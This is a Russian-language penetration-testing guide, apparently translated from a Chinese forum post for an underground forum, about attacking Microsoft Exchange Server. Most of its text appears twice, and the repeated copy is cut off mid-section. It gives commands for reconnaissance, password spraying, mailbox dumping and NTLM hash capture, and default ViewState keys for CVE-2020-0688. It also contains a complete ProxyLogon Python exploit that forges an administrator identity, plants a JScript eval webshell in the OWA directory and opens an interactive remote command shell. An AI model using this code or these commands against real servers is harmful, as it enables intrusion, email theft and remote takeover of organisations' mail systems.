Оригинал: hxxps://forum.butian.net/share/1837
Переведенно специально для xss.pro
Что такое Exchange?
Exchange Server 2010 содержит пять ролей, которые в версии Exchange Server 2013 были сведены к трем ролям:
Почтовый сервер: отвечает за аутентификацию, перенаправление и проксирование запросов доступа от различных внешних клиентов, в основном содержит два компонента: Client Access Service и Front End Transport Service.
Client Access Server: размещает почтовые ящики, общие папки и другие данные, в основном включает Hub Transport Service и Mail Transport Service.
Почтовые фильтры: отвечают за маршрутизацию исходящей и входящей электронной почты, приложений политики и т.д. 2. интерфейсы и протоколы клиентского/удаленного доступа
Exchange Service Discovery
Обнаружение сканированием портов
Для работы Exchange требуется множество сервисов и функциональных компонентов, которые зависят друг от друга, поэтому сервер открывает множество портов для предоставления сервисов публике. Однако сканирование портов с помощью nmap для поиска сервера Exchange требует взаимодействия с хостом, что генерирует большой объем трафика, вызывает предупреждения IDS и оставляет большое количество логов на целевом сервере.
Пояснения к командам nmap
-A Включает обнаружение ОС и версии, сканирование сценариев и информацию о путях.
-O Включает обнаружение операционной системы.
-sV Определяет информацию о сервисах и версиях по открытым портам.
## SPN
Имя принципала службы (SPN) - это имя экземпляра службы, которое клиент Kerberos использует для уникальной идентификации себя на конкретной целевой машине Kerberos. Имя принципала службы - это уникальный идентификатор экземпляра службы (под которым понимается служба, например HTTP, MSSQL, EXCHANGE). При аутентификации Kerberos используется SPN для связывания экземпляра службы с учетной записью входа в службу.
setspn.exe -T zesiar0.com -F -Q */*
SPN - это имя службы, зарегистрированное службами с поддержкой Kerberos для поиска KDC, эти имена SPN записываются в базу данных Active Directory, пока установка службы завершена, эти имена SPN уже существуют, если они не деинсталлированы или не удалены, поиск имен SPN не имеет отношения к тому, запущена ли текущая служба (например, IMAP/POP для сервера Exchange и т.д.). Некоторые серверы не запускаются по умолчанию, но их SPN-имена все равно существуют).
Получаем доступ в Exchange не имея учетных данных
В корпоративной среде, пароль учетной записи пользователя домена является паролем учетной записи почтового ящика Exchange. Если вы успешно получите пароль почтового ящика пользователя брутом, то в обычных условиях вы также получите пароль пользователя домена. Служба автообнаружения Autodiscover использует конфигурационный файл Autodiscover.xml для автоматизации настройки пользователей, и для получения этой конфигурации требуется аутентификация пользователя.
MailSniper позволяет поспреить пароли для интерфейса OWA, EWS и ActiveSync.
Утечка информации из сети
Утечка ОС, имени хоста и имени Netbios сервера Exchange.
В процессе возврата вызова type2 одновременно возвращаются тип ОС, имя хоста, имя netbios и т.д., т.е. на сервер отправляется запрос type1, а сервер возвращает ответ type2.
Имея учетные данные Exchange
Экспортируем список почтовых ящиков
1. MailSniper
2. ruler
Но во время тестов на windows server 2016, есть ошибка, которая пока не решена
panic: runtime error: invalid memory address or nil pointer dereference
signal 0xc0000005 code=0x0 addr=0x50 pc=0x1258af2
3. impacket
Получение содержимого электронной почты
Злоумышленники могут использовать MailSniper для обнаружения и кражи данных электронной почты, содержащих конфиденциальную информацию, путем извлечения папок почтовых ящиков после получения легитимных учетных данных.
Примечание: здесь необходимо добавить опцию -remote для ввода учетных данных пользователя (не знаю, почему это не упоминается в других статьях).
NTLM релей
NTLM выступает в качестве посредника, в запросе аутентификации между клиентом и сервером для передачи интерактивной информации, клиент будет представлен в Net-NTLM хэш перехватывается и впоследствии воспроизводится для аутентификации целевой стороны, для ретрансляции воспроизведения человек-в-середине атаки для получения имени пользователя и пароль не имея никаких привилегий.
Я начал с того, что вошел в систему как тестовый пользователь и отправил письмо пользователю-администратору
Затем я запустил responder на атакующей машине
Снова вхожу под администратором и делаю вид, что нажимаю на письмо, responder получает NTLMv2-хэш
Об уязвимостях
CVE-2020-0688
уязвимы:
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019 #### Принцип уязвимости
Exchange Server по умолчанию устанавливается с одним и тем же ключом проверки (validationKey) и одним и тем же ключом расшифровки (decryptionKey), что может быть использовано злоумышленником для проведения атаки на сервер с использованием статического ключа для удаленного выполнения кода на сервере с привилегиями SYSTEM.
Обзор ViewState
ViewState - это механизм сохранения состояния страницы и элементов управления между несколькими запросами (PostBacks) к одной и той же странице в ASP.NET. В WebForm при каждом запросе происходит взаимодействие между клиентом и сервером. Если запрос выполнен и некоторая информация передана обратно клиенту, то при следующем запросе клиент передает эту информацию о состоянии на сервер, серверная сторона использует и обрабатывает эту информацию, а затем передает ее обратно клиенту, это и есть основной режим работы ViewState.ViewState предназначен для сохранения необходимой информации на странице, так что ViewState предназначен для сохранения необходимой информации на странице, чтобы значения состояния могли быть сохранены в процессе передачи страницы обратно через ViewState.
Подробное объяснение ViewState: https://paper.seebug.org/1386/#3-webconfig-viewstate
Эксплуатация
Поскольку Exchange Server в своей конфигурации по умолчанию validationKey и decryptionKey представляют собой ключи, используемые для контрольной суммы и шифрования соответственно, оба они захардкожены.
Поэтому для использования этой уязвимости достаточно выполнить следующие действия
Приведенные выше переменные можно получить тут:
Генерация вредоносного viewstate с помощью программы ysoserial.exe
Затем обратитесь к следующему url адресу
СVE-2021-26855
уязвимы:
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012
Об уязвимости
Microsoft.Exchange.FrontEndHttpProxy.dll неэффективно проверяет наличие управляемого X-BEResource в cookie, и последующая обработка с использованием функции класса UrlBuilder в .NET приводит к возникновению SSRF. exchange разделяет X-BEResource на массив массивов, разделенных символом ~. массив массивов, array[0] для Fqdn, array[1] для версии; если версия меньше E15MinVersion, то вводится утверждение, а переменной ProxyToDownLevel присваивается значение True, после чего вызывается функция аутентификации EcpProxyRequestHandler.AddDownLevelProxyHeaders для аутентификации; если версия больше E15MinVersion, то происходит выход из суждения if в обход аутентификации.
Эксплуатация
Ограничить путь, формат пути должен быть /ecp/xxx.(js/png/...)
Сконструировать X-BEResource, ~ передняя часть - это url, к которому будет обращаться SSRF, а задняя часть - больше, чем E15MinVersion.
CVE-2021-27065
Уязвимы
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012
Об уязвимости
Функция Microsoft.Exchange.Management.DDIService.WriteFileActivity не проверяет суффикс файла и может быть записана в веб-оболочку частично управляемой функцией, связанной с содержимым файла.
## Эксплуатация
Запрашиваем EWS, получаем доменного имени из заголовка ответа X-CalculationBETarget
Используя имя пользователя, запрашиваем Autodiscover для получения LegacyDN из конфигурации
Используя запрос MAPI over HTTP, поднять запрос Microsoft.Exchange.RpcClientAccess.Server.LoginPermException для получения SID
Замена RID на 500 поддельных SID администратора с помощью ProxyLogonHandler
Получаем идентификатор администратора ASP.NET_SessionId с помощью msExchCanary
Получаем RawIdentity с помощью интерфейса Getlist компонента DDI
Внедрение Webshell с использованием атрибута виртуального пути внешнего URL
Окончательный вылет функции резервного копирования при перезагрузке для записи файлов в указанный UNC-каталог
Примечание: содержимое веб-оболочки не должно содержать специальных символов, которые будут закодированы в URL, и не может превышать 255 символов в длину.
Для автоматизации тестирования можно использовать следующий python-скрипт
CVE-2021-26855, используемый совместно с CVE-2021-27065, - ProxyLogon, который позволяет осуществлять RCE без учетных данных пользователя почтового ящика
CVE-2021-34473
Уязвимы
Exchange Server 2013 < Apr21SU
Exchange Server 2016 < Apr21SU < CU21
Exchange Server 2019 < Apr21SU < CU10
Об уязвимости
В функции -GetClientUrlForProxy файла HttpProxy\EwsAutodiscoverProxyRequestHandler.cs удалите this.explicitLogonAddress из absoluteUri и explicitLogonAddress берется из значения Email в запросе (GET|POST|Cookie|Server), но он должен удовлетворять возвращаемому значению RequestPathParser.IsAutodiscoverV2PreviewRequest(), чтобы быть истинным, что тогда Проверяет наличие в пути файла /autodiscove.json
Эксплуатация
переходим по URL
https://192.168.159.131/autodiscove...Email=autodiscover/autodiscover.json?@foo.com (ПОДСТАВЛЯЯ СВОИ ЗНАЧЕНИЯ!)
Сервис autodiscover exchange может быть использован для поиска конфигурационного файла пользователя с высокими привилегиями. Для этого необходимо получить атрибут legacyDn, а затем использовать этот атрибут + добавить невидимые символы в конце для получения sid целевого пользователя. После получения sid пользователя мы можем использовать привилегии целевого пользователя для доступа к api ews для выполнения вредоносной операции. Этот шаг аналогичен шагу proxyLogon.
CVE-2021-34523
Область воздействия
Exchange Server 2013 < Apr21SU
Exchange Server 2016 < Apr21SU < CU21
Exchange Server 2019 < Apr21SU < CU10
Об уязвимости
Exchange Powershell Remoting - это служба, основанная на протоколе WSMan, которая может выполнять некоторые специфические команды powershell, реализуя такие функции, как отправка электронной почты, чтение электронной почты, обновление файлов конфигурации и т.д. Необходимым условием для ее использования является наличие у пользователя почтового ящика. Поэтому при использовании предыдущего ssrf получить доступ к интерфейсу powershell не удастся, так как в системе нет почтового ящика. Далее нам необходимо сначала решить проблему аутентификации. Так как в методе ShouldCopyHeaderToServerRequest будут отфильтрованы некоторые пользовательские заголовки запроса, в том числе и заголовок проверки подлинности X-CommonAccessToken.
В Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll есть управляемая пользователем точка входа X-Rps-CAT, которая считывает заголовок запроса X-CommonAccessToken, когда он пуст. -Rps-CAT, и эти данные обрабатываются и присваиваются X-CommonAccessToken.
Эксплуатация
Для генерации токена можно использовать следующий python-код
CVE-2021-31207
Уязвимы
Exchange Server 2013 < May21SU
Exchange Server 2016 < May21SU < CU21
Exchange Server 2019 < May21SU < CU10
Об уязвимости
Пользователи могут записывать в файлы с произвольным суффиксом после аутентификации
эксплуатация
В сочетании с описанной выше уязвимостью пользователь сначала получает доступ к интерфейсу powershell через уязвимость ssrf и использует его для экспорта писем в указанную веб-директорию. Однако при этом возникает проблема: экспортируемые письма имеют pst-кодировку, поэтому их необходимо предварительно закодировать.
CVE-2021-34473, CVE-2021-31207 и CVE-2021-34523 эксплуатируются вместе с proxyshell, что в конечном итоге позволяет использовать rce.
Используйте этот скрипт:
github.com
Переведенно специально для xss.pro
Что такое Exchange?
Exchange Server 2010 содержит пять ролей, которые в версии Exchange Server 2013 были сведены к трем ролям:
Почтовый сервер: отвечает за аутентификацию, перенаправление и проксирование запросов доступа от различных внешних клиентов, в основном содержит два компонента: Client Access Service и Front End Transport Service.
Client Access Server: размещает почтовые ящики, общие папки и другие данные, в основном включает Hub Transport Service и Mail Transport Service.
Почтовые фильтры: отвечают за маршрутизацию исходящей и входящей электронной почты, приложений политики и т.д. 2. интерфейсы и протоколы клиентского/удаленного доступа
| endpoint | Описание |
| /autodiscover | Автоматическая служба, появившаяся в Exchange Server 2007 для настройки параметров почтовых ящиков пользователей в outlook и упрощения процесса входа пользователей в систему и использования почтовых ящиков. |
| /ecp (Exchange Control Panel) | Центр управления Exchange, веб-консоль, используемая администраторами для управления Exchange в своей организации. |
| /ews (Exchange Web Service, SOAP-over-HTTP) | SOAP-взаимодействие между клиентом и сервером на основе HTTP |
| /mapi (MAPI-over-HTTP, MAPI/HTTP) | Стандартный способ подключения Outlook к Exchange, используемый в 2013 году и более поздних версиях. |
| /Microsoft-Server-ActiveSync | для доступа мобильных устройств к электронной почте |
| /OAB (Office Address Book) | Используется в качестве адресной книги для клиентов Outlook, чтобы снизить нагрузку на Exchange |
| /owa (Outlook Web App) | Интерфейс Exchange owa для доступа к почте через веб-приложения |
| /poweshell | для администрирования сервера |
| /eac (Exchange Administrator Center) | Центр администрирования Exchange, веб-консоль для Exchange в организации. |
Exchange Service Discovery
Обнаружение сканированием портов
Для работы Exchange требуется множество сервисов и функциональных компонентов, которые зависят друг от друга, поэтому сервер открывает множество портов для предоставления сервисов публике. Однако сканирование портов с помощью nmap для поиска сервера Exchange требует взаимодействия с хостом, что генерирует большой объем трафика, вызывает предупреждения IDS и оставляет большое количество логов на целевом сервере.
nmap -A -O -sV -v 192.168.159.128
Пояснения к командам nmap
-A Включает обнаружение ОС и версии, сканирование сценариев и информацию о путях.
-O Включает обнаружение операционной системы.
-sV Определяет информацию о сервисах и версиях по открытым портам.
## SPN
Имя принципала службы (SPN) - это имя экземпляра службы, которое клиент Kerberos использует для уникальной идентификации себя на конкретной целевой машине Kerberos. Имя принципала службы - это уникальный идентификатор экземпляра службы (под которым понимается служба, например HTTP, MSSQL, EXCHANGE). При аутентификации Kerberos используется SPN для связывания экземпляра службы с учетной записью входа в службу.
setspn.exe -T zesiar0.com -F -Q */*
SPN - это имя службы, зарегистрированное службами с поддержкой Kerberos для поиска KDC, эти имена SPN записываются в базу данных Active Directory, пока установка службы завершена, эти имена SPN уже существуют, если они не деинсталлированы или не удалены, поиск имен SPN не имеет отношения к тому, запущена ли текущая служба (например, IMAP/POP для сервера Exchange и т.д.). Некоторые серверы не запускаются по умолчанию, но их SPN-имена все равно существуют).
Получаем доступ в Exchange не имея учетных данных
В корпоративной среде, пароль учетной записи пользователя домена является паролем учетной записи почтового ящика Exchange. Если вы успешно получите пароль почтового ящика пользователя брутом, то в обычных условиях вы также получите пароль пользователя домена. Служба автообнаружения Autodiscover использует конфигурационный файл Autodiscover.xml для автоматизации настройки пользователей, и для получения этой конфигурации требуется аутентификация пользователя.
MailSniper позволяет поспреить пароли для интерфейса OWA, EWS и ActiveSync.
Утечка информации из сети
Утечка ОС, имени хоста и имени Netbios сервера Exchange.
В процессе возврата вызова type2 одновременно возвращаются тип ОС, имя хоста, имя netbios и т.д., т.е. на сервер отправляется запрос type1, а сервер возвращает ответ type2.
Имея учетные данные Exchange
Экспортируем список почтовых ящиков
1. MailSniper
Код:
// Начните с импорта файла MailSniper.ps1
Import-Module . \MailSniper.ps1
// Затем с помощью MailSniper экспортируйте список почтовых ящиков
Get-GlobalAddressList -ExchHost MAIL -UserName domain\username -Password password -Ou
tFile litst.txt
2. ruler
. \\\\ruler-win64.exe --insecure --url https://localhost/autodiscover/autodiscover.xml --email administrator@zesiar0.com -u administrator -p zengjiahua..123 --verbose --debug abk dump -o ruler_list.txt
Но во время тестов на windows server 2016, есть ошибка, которая пока не решена
panic: runtime error: invalid memory address or nil pointer dereference
signal 0xc0000005 code=0x0 addr=0x50 pc=0x1258af2
3. impacket
Bash:
impacket-exchanger DOMAIN/USERNAME:PASSWORD@MAIL nspi list-tables
impacket-exchanger DOMAIN/USERNAME:PASSWORD@MAIL nspi dump-tables -guid GUID
Получение содержимого электронной почты
Злоумышленники могут использовать MailSniper для обнаружения и кражи данных электронной почты, содержащих конфиденциальную информацию, путем извлечения папок почтовых ящиков после получения легитимных учетных данных.
Invoke-SelfSearch -Mailbox Administrator@zesiar0.com -Terms *test* -Folder Inbox -remote
Примечание: здесь необходимо добавить опцию -remote для ввода учетных данных пользователя (не знаю, почему это не упоминается в других статьях).
NTLM релей
NTLM выступает в качестве посредника, в запросе аутентификации между клиентом и сервером для передачи интерактивной информации, клиент будет представлен в Net-NTLM хэш перехватывается и впоследствии воспроизводится для аутентификации целевой стороны, для ретрансляции воспроизведения человек-в-середине атаки для получения имени пользователя и пароль не имея никаких привилегий.
Я начал с того, что вошел в систему как тестовый пользователь и отправил письмо пользователю-администратору
Затем я запустил responder на атакующей машине
Снова вхожу под администратором и делаю вид, что нажимаю на письмо, responder получает NTLMv2-хэш
Об уязвимостях
CVE-2020-0688
уязвимы:
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019 #### Принцип уязвимости
Exchange Server по умолчанию устанавливается с одним и тем же ключом проверки (validationKey) и одним и тем же ключом расшифровки (decryptionKey), что может быть использовано злоумышленником для проведения атаки на сервер с использованием статического ключа для удаленного выполнения кода на сервере с привилегиями SYSTEM.
Обзор ViewState
ViewState - это механизм сохранения состояния страницы и элементов управления между несколькими запросами (PostBacks) к одной и той же странице в ASP.NET. В WebForm при каждом запросе происходит взаимодействие между клиентом и сервером. Если запрос выполнен и некоторая информация передана обратно клиенту, то при следующем запросе клиент передает эту информацию о состоянии на сервер, серверная сторона использует и обрабатывает эту информацию, а затем передает ее обратно клиенту, это и есть основной режим работы ViewState.ViewState предназначен для сохранения необходимой информации на странице, так что ViewState предназначен для сохранения необходимой информации на странице, чтобы значения состояния могли быть сохранены в процессе передачи страницы обратно через ViewState.
Подробное объяснение ViewState: https://paper.seebug.org/1386/#3-webconfig-viewstate
Эксплуатация
Поскольку Exchange Server в своей конфигурации по умолчанию validationKey и decryptionKey представляют собой ключи, используемые для контрольной суммы и шифрования соответственно, оба они захардкожены.
Поэтому для использования этой уязвимости достаточно выполнить следующие действия
Код:
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF (по умолчанию)
--validationalg = SHA1 (по умолчанию)
--generator = B97B4E27 (по умолчанию)
--viewstateuserkey = значение ASP.NET_SessionId
Приведенные выше переменные можно получить тут:
Генерация вредоносного viewstate с помощью программы ysoserial.exe
Затем обратитесь к следующему url адресу
/ecp/default.aspx?__VIEWSTATEGENERATOR=&__VIEWSTATE=URLENCODE()СVE-2021-26855
уязвимы:
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012
Об уязвимости
Microsoft.Exchange.FrontEndHttpProxy.dll неэффективно проверяет наличие управляемого X-BEResource в cookie, и последующая обработка с использованием функции класса UrlBuilder в .NET приводит к возникновению SSRF. exchange разделяет X-BEResource на массив массивов, разделенных символом ~. массив массивов, array[0] для Fqdn, array[1] для версии; если версия меньше E15MinVersion, то вводится утверждение, а переменной ProxyToDownLevel присваивается значение True, после чего вызывается функция аутентификации EcpProxyRequestHandler.AddDownLevelProxyHeaders для аутентификации; если версия больше E15MinVersion, то происходит выход из суждения if в обход аутентификации.
Эксплуатация
Ограничить путь, формат пути должен быть /ecp/xxx.(js/png/...)
Сконструировать X-BEResource, ~ передняя часть - это url, к которому будет обращаться SSRF, а задняя часть - больше, чем E15MinVersion.
CVE-2021-27065
Уязвимы
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012
Об уязвимости
Функция Microsoft.Exchange.Management.DDIService.WriteFileActivity не проверяет суффикс файла и может быть записана в веб-оболочку частично управляемой функцией, связанной с содержимым файла.
## Эксплуатация
Запрашиваем EWS, получаем доменного имени из заголовка ответа X-CalculationBETarget
Используя имя пользователя, запрашиваем Autodiscover для получения LegacyDN из конфигурации
Используя запрос MAPI over HTTP, поднять запрос Microsoft.Exchange.RpcClientAccess.Server.LoginPermException для получения SID
Замена RID на 500 поддельных SID администратора с помощью ProxyLogonHandler
Получаем идентификатор администратора ASP.NET_SessionId с помощью msExchCanary
Получаем RawIdentity с помощью интерфейса Getlist компонента DDI
Внедрение Webshell с использованием атрибута виртуального пути внешнего URL
Окончательный вылет функции резервного копирования при перезагрузке для записи файлов в указанный UNC-каталог
Примечание: содержимое веб-оболочки не должно содержать специальных символов, которые будут закодированы в URL, и не может превышать 255 символов в длину.
Для автоматизации тестирования можно использовать следующий python-скрипт
Python:
# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test',
'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'log', 'no-reply']
proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'
final_shell = ""
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
if __name__=="__main__":
parser = argparse.ArgumentParser(
description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。')
parser.add_argument('-u', type=str,
help='target')
parser.add_argument('-user',
help='exist email', default='')
parser.add_argument('-suffix',
help='email suffix')
args = parser.parse_args()
target = args.u
suffix = args.suffix
if suffix == "":
print("请输入suffix")
exist_email = args.user
if exist_email:
fuzz_email.insert(0, exist_email)
random_name = id_generator(4) + ".js"
print("目标 Exchange Server: " + target)
for i in fuzz_email:
new_email = i+suffix
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % new_email
# print("get FQDN")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False, proxies=proxies)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]
print("got FQDN:" + FQDN)
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print(ct.status_code)
print("Autodiscover Error!")
if "<LegacyDN>" not in str(ct.content):
print("Can not get LegacyDN!")
try:
legacyDn = str(ct.content).split("<LegacyDN>")[
1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)
mapi_body = legacyDn + \
"\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
"User-Agent": user_agent
},
data=mapi_body,
verify=False,
proxies=proxies
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
print("Mapi Error!")
exit()
sid = str(ct.content).split("with SID ")[
1].split(" and MasterAccountSid")[0]
print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1], "500")
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
data=proxyLogon_request,
proxies=proxies,
verify=False
)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("Proxylogon Error!")
exit()
sess_id = ct.headers['set-cookie'].split(
"ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
# "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
# FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
msExchEcpCanary=msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
verify=False,
proxies=proxies
)
if ct.status_code != 200:
print("GetOAB Error!")
exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print("Set external url Error!")
exit()
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print("写入shell失败")
exit()
shell_url = "https://"+target+"/owa/auth/test11.aspx"
print("成功写入shell:" + shell_url)
print("下面验证shell是否ok")
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("正在请求shell")
import time
time.sleep(1)
data = requests.post(shell_url, data={
"code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies)
if data.status_code != 200:
print("写入shell失败")
else:
print("shell:"+data.text.split("OAB (Default Web Site)")
[0].replace("Name : ", ""))
print('[+]用户名: '+ new_email)
final_shell = shell_url
break
except:
print('[-]用户名: '+new_email)
print("=============================")
if not final_shell:
sys.exit()
print("下面启用交互式shell")
while True:
input_cmd = input("[#] command: ")
data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd}
ct = requests.post(
final_shell,
data=data,verify=False, proxies=proxies)
if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
print("[*] Failed to execute shell command")
else:
shell_response = ct.text.split(
"Name :")[0]
print(shell_response)
CVE-2021-26855, используемый совместно с CVE-2021-27065, - ProxyLogon, который позволяет осуществлять RCE без учетных данных пользователя почтового ящика
CVE-2021-34473
Уязвимы
Exchange Server 2013 < Apr21SU
Exchange Server 2016 < Apr21SU < CU21
Exchange Server 2019 < Apr21SU < CU10
Об уязвимости
В функции -GetClientUrlForProxy файла HttpProxy\EwsAutodiscoverProxyRequestHandler.cs удалите this.explicitLogonAddress из absoluteUri и explicitLogonAddress берется из значения Email в запросе (GET|POST|Cookie|Server), но он должен удовлетворять возвращаемому значению RequestPathParser.IsAutodiscoverV2PreviewRequest(), чтобы быть истинным, что тогда Проверяет наличие в пути файла /autodiscove.json
Эксплуатация
переходим по URL
https://192.168.159.131/autodiscove...Email=autodiscover/autodiscover.json?@foo.com (ПОДСТАВЛЯЯ СВОИ ЗНАЧЕНИЯ!)
Сервис autodiscover exchange может быть использован для поиска конфигурационного файла пользователя с высокими привилегиями. Для этого необходимо получить атрибут legacyDn, а затем использовать этот атрибут + добавить невидимые символы в конце для получения sid целевого пользователя. После получения sid пользователя мы можем использовать привилегии целевого пользователя для доступа к api ews для выполнения вредоносной операции. Этот шаг аналогичен шагу proxyLogon.
CVE-2021-34523
Область воздействия
Exchange Server 2013 < Apr21SU
Exchange Server 2016 < Apr21SU < CU21
Exchange Server 2019 < Apr21SU < CU10
Об уязвимости
